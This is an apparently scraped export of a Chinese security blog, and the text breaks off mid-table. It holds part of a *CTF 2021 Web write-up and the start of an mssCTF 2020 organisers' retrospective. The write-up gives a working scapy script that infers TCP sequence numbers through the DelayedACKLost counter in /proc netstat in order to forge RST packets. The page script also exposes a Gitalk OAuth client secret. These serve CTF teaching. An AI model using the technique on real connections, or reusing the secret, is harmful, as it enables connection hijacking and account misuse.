class=\"title\"\u003etcp_send_dupack\u003c/span\u003e\u003cspan class=\"params\"\u003e(struct sock *sk, \u003cspan class=\"keyword\"\u003econst\u003c/span\u003e struct sk_buff *skb)\u003c/span\u003e \u003c/span\u003e\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003estruct\u003c/span\u003e \u003cspan class=\"title\"\u003etcp_sock\u003c/span\u003e *\u003cspan class=\"title\"\u003etp\u003c/span\u003e =\u003c/span\u003e \u003cspan class=\"built_in\"\u003etcp_sk\u003c/span\u003e(sk);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (\u003cspan class=\"built_in\"\u003eTCP_SKB_CB\u003c/span\u003e(skb)-\u0026gt;end_seq != \u003cspan class=\"built_in\"\u003eTCP_SKB_CB\u003c/span\u003e(skb)-\u0026gt;seq \u0026amp;\u0026amp;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003ebefore\u003c/span\u003e(\u003cspan class=\"built_in\"\u003eTCP_SKB_CB\u003c/span\u003e(skb)-\u0026gt;seq, tp-\u0026gt;rcv_nxt)) \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eNET_INC_STATS\u003c/span\u003e(\u003cspan class=\"built_in\"\u003esock_net\u003c/span\u003e(sk), LINUX_MIB_DELAYEDACKLOST);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003etcp_enter_quickack_mode\u003c/span\u003e(sk, TCP_MAX_QUICKACKS);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// 省略\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003etcp_send_ack\u003c/span\u003e(sk);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e这个before的换行位置是真的阴间,我看了半天才发现这玩意在条件判断\u003cstrong\u003e里头\u003c/strong\u003e\u003cbr\u003e这里有个很有意思的东西,\u003ccode\u003eNET_INC_STATS(sock_net(sk), LINUX_MIB_DELAYEDACKLOST);\u003c/code\u003e\u003cbr\u003e就是说如果我们发送的这个数据包的seq比当前想要接收到的seq要小的话,linux会将DELAYEDACKLOST的值增加1。\u003cbr\u003e这个数值在哪里体现呢?在\u003ccode\u003e/proc/\u0026lt;pid\u0026gt;/net/netstat\u003c/code\u003e里头就有。\u003c/p\u003e\u003cimg src=\"/2021/01/18/Security/Writeup/*CTF-2021-Web/netstat.png\" class=\"\" title=\"netstat\"\u003e\u003cp\u003e也就是说我们不仅能知道我们的seq对还是错(这样我们需要遍历整个int32,不至于到天涯海角吧至少80秒是有了),而且还能知道seq大还是小。\u003cbr\u003e这样我们就能用小学二年级就学过的二分法,最多发32来个包,就能得到在窗口范围内的seq,进而伪造发送给client的RST包。\u003c/p\u003e\u003cdiv class='spoiler collapsed'\u003e \u003cdiv class='spoiler-title'\u003e 参考脚本 \u003c/div\u003e \u003cdiv class='spoiler-content'\u003e \u003cfigure class=\"highlight python\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e26\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e27\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e28\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e29\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e30\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e31\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e32\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e33\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e34\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e35\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e36\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e37\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e38\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e39\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e40\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e41\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e42\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e43\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e44\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e45\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e46\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e47\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e48\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e49\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e50\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e51\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e52\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e53\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e54\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e55\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003efrom\u003c/span\u003e pprint \u003cspan class=\"keyword\"\u003eimport\u003c/span\u003e pprint\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003efrom\u003c/span\u003e requests \u003cspan class=\"keyword\"\u003eimport\u003c/span\u003e session\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003efrom\u003c/span\u003e scapy.\u003cspan class=\"built_in\"\u003eall\u003c/span\u003e \u003cspan class=\"keyword\"\u003eimport\u003c/span\u003e *\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eimport\u003c/span\u003e time\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003eses = session()\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e# conf.L3socket = L3RawSocket\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003eclient = \u003cspan class=\"string\"\u003e\u0026#x27;172.21.0.3\u0026#x27;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003eserver = \u003cspan class=\"string\"\u003e\u0026#x27;172.21.0.2\u0026#x27;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003edef\u003c/span\u003e \u003cspan class=\"title\"\u003ebuild\u003c/span\u003e(\u003cspan class=\"params\"\u003eseq\u003c/span\u003e):\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e ip = IP(src=server, dst=client)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e tcp = TCP(sport=\u003cspan class=\"number\"\u003e21587\u003c/span\u003e, dport=\u003cspan class=\"number\"\u003e7775\u003c/span\u003e, flags=\u003cspan class=\"string\"\u003e\u0026quot;A\u0026quot;\u003c/span\u003e, seq=seq)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e pkt = ip / tcp / \u003cspan class=\"string\"\u003e\u0026#x27;payload\u0026#x27;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e pkt\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003edef\u003c/span\u003e \u003cspan class=\"title\"\u003eread\u003c/span\u003e(\u003cspan class=\"params\"\u003ename\u003c/span\u003e):\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e ses.get(\u003cspan class=\"string\"\u003ef\u0026#x27;http://\u003cspan class=\"subst\"\u003e\u0026#123;client\u0026#125;\u003c/span\u003e:5000/file\u0026#x27;\u003c/span\u003e, params=\u0026#123;\u003cspan class=\"string\"\u003e\u0026#x27;name\u0026#x27;\u003c/span\u003e: name\u0026#125;).text\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003edef\u003c/span\u003e \u003cspan class=\"title\"\u003eparse\u003c/span\u003e(\u003cspan class=\"params\"\u003etext\u003c/span\u003e):\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e res = \u0026#123;\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e lines = text.split(\u003cspan class=\"string\"\u003e\u0026#x27;\\n\u0026#x27;\u003c/span\u003e)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e i \u003cspan class=\"keyword\"\u003ein\u003c/span\u003e \u003cspan class=\"built_in\"\u003erange\u003c/span\u003e(\u003cspan class=\"number\"\u003e0\u003c/span\u003e, \u003cspan class=\"built_in\"\u003elen\u003c/span\u003e(lines), \u003cspan class=\"number\"\u003e2\u003c/span\u003e):\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e \u003cspan class=\"keyword\"\u003enot\u003c/span\u003e \u003cspan class=\"built_in\"\u003elen\u003c/span\u003e(lines[i]):\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ebreak\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e key, keys = lines[i].split(\u003cspan class=\"string\"\u003e\u0026#x27;: \u0026#x27;\u003c/span\u003e)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e key, vals = lines[i + \u003cspan class=\"number\"\u003e1\u003c/span\u003e].split(\u003cspan class=\"string\"\u003e\u0026#x27;: \u0026#x27;\u003c/span\u003e)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e res[key] = \u003cspan class=\"built_in\"\u003edict\u003c/span\u003e(\u003cspan class=\"built_in\"\u003ezip\u003c/span\u003e(keys.split(\u003cspan class=\"string\"\u003e\u0026#x27; \u0026#x27;\u003c/span\u003e), vals.split(\u003cspan class=\"string\"\u003e\u0026#x27; \u0026#x27;\u003c/span\u003e)))\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e res\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003enetstat = parse(read(\u003cspan class=\"string\"\u003e\u0026#x27;/proc/1/net/netstat\u0026#x27;\u003c/span\u003e))\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003einitial = netstat[\u003cspan class=\"string\"\u003e\u0026#x27;TcpExt\u0026#x27;\u003c/span\u003e][\u003cspan class=\"string\"\u003e\u0026#x27;DelayedACKLost\u0026#x27;\u003c/span\u003e]\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003eseq_now = \u003cspan class=\"number\"\u003e0\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003efor\u003c/span\u003e i \u003cspan class=\"keyword\"\u003ein\u003c/span\u003e \u003cspan class=\"built_in\"\u003erange\u003c/span\u003e(\u003cspan class=\"number\"\u003e2\u003c/span\u003e**\u003cspan class=\"number\"\u003e4\u003c/span\u003e):\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e send(build(i \u0026lt;\u0026lt; \u003cspan class=\"number\"\u003e27\u003c/span\u003e))\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e netstat = parse(read(\u003cspan class=\"string\"\u003e\u0026#x27;/proc/1/net/netstat\u0026#x27;\u003c/span\u003e))\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e netstat[\u003cspan class=\"string\"\u003e\u0026#x27;TcpExt\u0026#x27;\u003c/span\u003e][\u003cspan class=\"string\"\u003e\u0026#x27;DelayedACKLost\u0026#x27;\u003c/span\u003e] \u0026gt; initial:\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e seq_now = i \u0026lt;\u0026lt; \u003cspan class=\"number\"\u003e27\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003efor\u003c/span\u003e i \u003cspan class=\"keyword\"\u003ein\u003c/span\u003e \u003cspan class=\"built_in\"\u003erange\u003c/span\u003e(\u003cspan class=\"number\"\u003e4\u003c/span\u003e, \u003cspan class=\"number\"\u003e31\u003c/span\u003e):\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e send(build(seq_now | (\u003cspan class=\"number\"\u003e1\u003c/span\u003e \u0026lt;\u0026lt; (\u003cspan class=\"number\"\u003e31\u003c/span\u003e - i))))\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e netstat = parse(read(\u003cspan class=\"string\"\u003e\u0026#x27;/proc/1/net/netstat\u0026#x27;\u003c/span\u003e))\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e netstat[\u003cspan class=\"string\"\u003e\u0026#x27;TcpExt\u0026#x27;\u003c/span\u003e][\u003cspan class=\"string\"\u003e\u0026#x27;DelayedACKLost\u0026#x27;\u003c/span\u003e] == initial + \u003cspan class=\"number\"\u003e1\u003c/span\u003e:\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e seq_now |= (\u003cspan class=\"number\"\u003e1\u003c/span\u003e \u0026lt;\u0026lt; (\u003cspan class=\"number\"\u003e31\u003c/span\u003e - i))\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eelif\u003c/span\u003e netstat[\u003cspan class=\"string\"\u003e\u0026#x27;TcpExt\u0026#x27;\u003c/span\u003e][\u003cspan class=\"string\"\u003e\u0026#x27;DelayedACKLost\u0026#x27;\u003c/span\u003e] \u0026gt; initial:\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e# conflict\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e exit(\u003cspan class=\"number\"\u003e1\u003c/span\u003e)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e time.sleep(\u003cspan class=\"number\"\u003e0.5\u003c/span\u003e)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprint\u003c/span\u003e(seq_now)\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e \u003c/div\u003e\u003c/div\u003e\u003cp\u003e然而出题人,对不起,你这还是有非预期。\u003c/p\u003e\u003cp\u003e\u003cs\u003e我们再来仔细看看\u003ccode\u003edocker-compose.yml\u003c/code\u003e,看看是不是少了什么(自行看附件去)\u003c/s\u003e\u003cbr\u003e\u003cs\u003e对的,没有depends_on,即使有可能也有问题。\u003c/s\u003e\u003cbr\u003e修正:docker-compose.yml中确实有depends_on,但是仍然有启动顺序上的问题。\u003c/p\u003e\u003cp\u003e请读到这篇博客的同学熟背下面链接里的东西\u003cbr\u003e\u003ca href=\"https://docs.docker.com/compose/startup-order/\"\u003ehttps://docs.docker.com/compose/startup-order/\u003c/a\u003e\u003c/p\u003e\u003cp\u003e根据我个人的调查,一血的payload是这样的:\u003c/p\u003e\u003cfigure class=\"highlight python\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003efrom\u003c/span\u003e socket \u003cspan class=\"keyword\"\u003eimport\u003c/span\u003e *\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003etry\u003c/span\u003e:\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e tcpSerSock = socket(AF_INET, SOCK_STREAM)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e tcpSerSock.connect((\u003cspan class=\"string\"\u003e\u0026#x27;172.25.0.2\u0026#x27;\u003c/span\u003e, \u003cspan class=\"number\"\u003e21587\u003c/span\u003e))\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e tcpSerSock.send(\u003cspan class=\"string\"\u003eb\u0026#x27;*ctf\u0026#x27;\u003c/span\u003e)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprint\u003c/span\u003e(tcpSerSock.recv(\u003cspan class=\"number\"\u003e1280\u003c/span\u003e))\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eexcept\u003c/span\u003e Exception \u003cspan class=\"keyword\"\u003eas\u003c/span\u003e e:\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprint\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026quot;ERROR\u0026quot;\u003c/span\u003e, e)\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e二血更是离谱,直接进去弹了个shell,上了一血的车,代码里直接就有flag(我也不知道为什么flag会在代码的注释里)\u003c/p\u003e\u003cimg src=\"/2021/01/18/Security/Writeup/*CTF-2021-Web/flag_in_py.png\" class=\"\" title=\"what??\"\u003e\u003cp\u003e。。。所以说,这是多么悲伤的故事\u003c/p\u003e\u003ch2 id=\"总结\"\u003e总结\u003c/h2\u003e\u003cp\u003e没有。\u003c/p\u003e\u003cdiv id=\"gitalk-container\"\u003e\u003c/div\u003e\u003cscript src=\"https://cdn.bootcss.com/blueimp-md5/2.12.0/js/md5.min.js\"\u003e\u003c/script\u003e\u003clink rel=\"stylesheet\" href=\"https://unpkg.com/gitalk/dist/gitalk.css\"\u003e\u003cscript src=\"https://unpkg.com/gitalk/dist/gitalk.min.js\"\u003e\u003c/script\u003e\u003cscript\u003evar gitalkConfig = {\"clientID\":\"5955d155fe2ea768241e\",\"clientSecret\":\"f96bbda9ff434950217f24f7f9369f8b8de3b025\",\"repo\":\"frankli0324.github.io\",\"owner\":\"frankli0324\",\"admin\":[\"frankli0324\"],\"distractionFreeMode\":false}; gitalkConfig.id = md5(location.pathname);var gitalk = new Gitalk(gitalkConfig); gitalk.render(\"gitalk-container\"); \u003c/script\u003e\u003clink rel=\"stylesheet\" href=\"/css/spoiler.css\" type=\"text/css\"\u003e\u003cscript src=\"/js/spoiler.js\" type=\"text/javascript\" async\u003e\u003c/script\u003e","url":"https://blog.frankli.site/2021/01/18/Security/Writeup/*CTF-2021-Web/"},{"title":"mssCTF 2020 手记","time":"2020-09-19T16:00:00Z","content":"\u003ch2 id=\"前言\"\u003e前言\u003c/h2\u003e\n\u003cp\u003e自2018年第一届以来已经办了三届中学生比赛了。无论从出题还是运维角度,mss都已经相对稳定。不出意料,比赛过程中存在着许多问题,况且今年由于疫情原因在线上进行了决赛,但总体而言,在多方努力与支持下,比赛还是相当不错的。\u003c/p\u003e\n\u003cp\u003chr /\u003e\u003ch2 id=\"前言\"\u003e前言\u003c/h2\u003e\u003cp\u003e自2018年第一届以来已经办了三届中学生比赛了。无论从出题还是运维角度,mss都已经相对稳定。不出意料,比赛过程中存在着许多问题,况且今年由于疫情原因在线上进行了决赛,但总体而言,在多方努力与支持下,比赛还是相当不错的。\u003c/p\u003e\u003cp\u003e这份总结是对各位的总结的一个大杂烩,段落的作者将以以下的形式给出:\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e作者id\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e内容\u003c/p\u003e\u003ch2 id=\"运维\"\u003e运维\u003c/h2\u003e\u003ch3 id=\"CTFd部署\"\u003eCTFd部署\u003c/h3\u003e\u003cblockquote\u003e\u003cp\u003eFrank\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e与去年的情况类似,平台最后都基本落到了我手里。平台的部署实际上没有费太大功夫,所有的东西都是现成的。最终用的插件有:\u003c/p\u003e\u003cul\u003e\u003cli\u003eACM评测插件(之前写好的,改了一点前端)\u003c/li\u003e\u003cli\u003e附件下发插件(By Reverier)\u003c/li\u003e\u003cli\u003e容器下发插件(改的ctfd-whale)\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e大部分都是现成的,部署起来很方便。无非就是需要更换一下非本地资源文件的CDN并分离静态文件。\u003cbr\u003e不过由于moeCTF时让rx提前研究了静态文件如何压缩、分离并由nginx单独serve,以后的比赛应该不用我干预了\u003c/p\u003e\u003ch3 id=\"日志\"\u003e日志\u003c/h3\u003e\u003cblockquote\u003e\u003cp\u003eReverier\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e初赛太辛苦BlackW@tch了. 初赛Web题目采用了静态docker部署的方式, 所有选手共用一个环境. 赛前去看他部署的时候发现apache的日志输出直接映射到了stdout, 这样搞的没办法查看log了, 但是想着题目应该不会出啥大问题, 折腾了一会儿没折腾好就放弃了. 第二天就直接上线.\u003c/p\u003e\u003cp\u003e然后web题成功出问题了. 有一名选手拿到flag之后挂了个脚本持续删掉flag, 重启docker之后继续删, 活生生的把CTF变成了出题人和选手之间的AD. bw只想着赶快修好环境, 也忘记先导出日志抓人, 日志又被重定向到了stdout, 重启一下docker啥都没了, 最后想起来的时候人也没抓着, 比赛也快结束了.\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003eFrank\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e决赛时由于Web题目统一部署到了同一台服务器,进行动态容器下发,便于日志的记录,采用了腾讯云的日志服务,能看到所有人启动了什么容器且能看到包括请求题在内的完整的请求记录,相对方便对做题进度与做题人进行监控。虽然决赛的web题目并没有很多人做出来,但是从日志还是可以看出很多人通过了一定的关卡的。\u003c/p\u003e\u003cp\u003e在以后的比赛中一定要做好题目日志的记录,时刻把握好做题人的进展。一来日志的收集也不麻烦(当然要提前熟悉好),二来好处多多:\u003c/p\u003e\u003cul\u003e\u003cli\u003e方便反作弊(最直接的原因)\u003c/li\u003e\u003cli\u003e腾讯云日志免费保留14天,期间如果有人举报,可以随时对现场进行还原。\u003c/li\u003e\u003cli\u003e比赛中把握出题人的做题状况可以适时放hint\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e上面的这些主要面对的是web题目,但对别的方向理应也有一定参考价值。\u003c/p\u003e\u003ch3 id=\"关于插件与反作弊\"\u003e关于插件与反作弊\u003c/h3\u003e\u003cblockquote\u003e\u003cp\u003eReverier\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e在讨论平台的反作弊措施时有人提出了能否给不同选手分发不同题目文件的想法, 思索了一下觉得可行, 我便答应下来, 然后投入到静态题目文件自动分发插件的工作当中. 由于时间紧急就没能好好研究CTFd的文件上传与储存机制, 最开始的想法是创建一种新的挑战类型, 然后慢慢改; 后来写好之后发现数据库冲突了, 测试了好久依旧无法实现. 经Frank的提示, 发现其实只要创建一种新的flag类型即可. 时间紧急就采用了最简单的写法, 在api/v1/challenges.py里直接判断flag类型然后返回对应的文件, 简单粗暴. 这样写出来的插件由于更改了平台原有的文件, 所以没法即插即用, 等有时间了好好研究一下如何在不更改原有api的情况下实现自动分发.\u003c/p\u003e\u003cp\u003e初赛过程中自动分发插件倒工作良好, 没出什么幺蛾子.\u003c/p\u003e\u003cp\u003e复赛的账号分发任务交给我来做了, 采用自动注册脚本没费什么力气, 然后发送邮件拜托洛千用工具人做法全部发送到了选手的邮箱. 自动分发插件依旧沿用初赛的插件. Frank收集了所有web和pwn题目之后采用CTFd-Whale插件把题目弄成了动态的, 选手启动自己专属的docker环境做题, flag也各不相同, 防止作弊的同时也有效避免了初赛选手删flag的问题. PPC评测由于Windows下换行符CRLF的问题导致测试题目部分选手写的代码没有通过, 不过没什么大碍. 整个复赛过程中平台运行情况挺稳定的, 整个复赛过程中动态题目总共创建了487次docker环境, 其中用于测试题目创建了51次, 选手解题创建了436次, 其中陈培琛启动了35次题目环境, 杜厚德启动了32次, 陈鸿嘉启动了29次, 在\u0026quot;浪费服务器性能排行榜\u0026quot;上夺得前三.\u003c/p\u003e\u003ch2 id=\"出题与审题\"\u003e出题与审题\u003c/h2\u003e\u003cp\u003e题目很多都是让19级的学弟出的,完整的题目负责列表如下:\u003c/p\u003e\u003ctable\u003e\u003cthead\u003e\u003ctr\u003e\u003cth style=\"text-align:center\"\u003e场次\u003c/th\u003e\u003cth style=\"text-align:center\"\u003e分类\u003c/th\u003e\u003cth style=\"text-align:center\"\u003e题目名\u003c/th\u003e\u003cth style=\"text-align:center\"\u003e出题人\u003c/th\u003e\u003cth style=\"text-align:center\"\u003e|\u003c/th\u003e\u003cth 